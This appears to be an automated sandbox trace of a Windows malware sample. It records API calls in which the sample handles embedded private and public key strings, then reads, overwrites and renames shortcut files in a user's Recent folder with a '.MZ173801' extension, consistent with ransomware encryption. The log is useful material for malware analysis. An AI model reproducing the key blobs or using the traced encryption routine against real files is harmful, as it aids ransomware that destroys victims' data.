lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.151] GetCurrentThreadId () returned 0xab4 [0153.151] GetCurrentThreadId () returned 0xab4 [0153.151] GetCurrentThreadId () returned 0xab4 [0153.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.152] GetCurrentThreadId () returned 0xab4 [0153.152] GetCurrentThreadId () returned 0xab4 [0153.152] GetCurrentThreadId () returned 0xab4 [0153.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.152] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.152] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.152] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3be [0153.152] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.152] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3be, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3be, lpOverlapped=0x0) returned 1 [0153.152] CloseHandle (hObject=0x280) returned 1 [0153.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.153] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3be, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3be, lpOverlapped=0x0) returned 1 [0153.154] CloseHandle (hObject=0x280) returned 1 [0153.155] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_4dYp.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_4dyp.lnk.mz173801")) returned 1 [0153.156] GetCurrentThreadId () returned 0xab4 [0153.156] GetCurrentThreadId () returned 0xab4 [0153.157] GetCurrentThreadId () returned 0xab4 [0153.157] GetCurrentThreadId () returned 0xab4 [0153.158] GetCurrentThreadId () returned 0xab4 [0153.158] GetCurrentThreadId () returned 0xab4 [0153.158] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e88e137, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba547c4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5ba547c4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G.lnk", cAlternateFileName="_MPFSX~1.LNK")) returned 1 [0153.158] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.158] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.158] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e88e137, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba547c4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x5ba547c4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39d)) returned 1 [0153.159] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\_mpfsxtze1i_hsj02g.lnk")) returned 0x20 [0153.159] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_MPfsxTZe1i_HSj02G.lnk", dwFileAttributes=0x80) returned 1 [0153.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 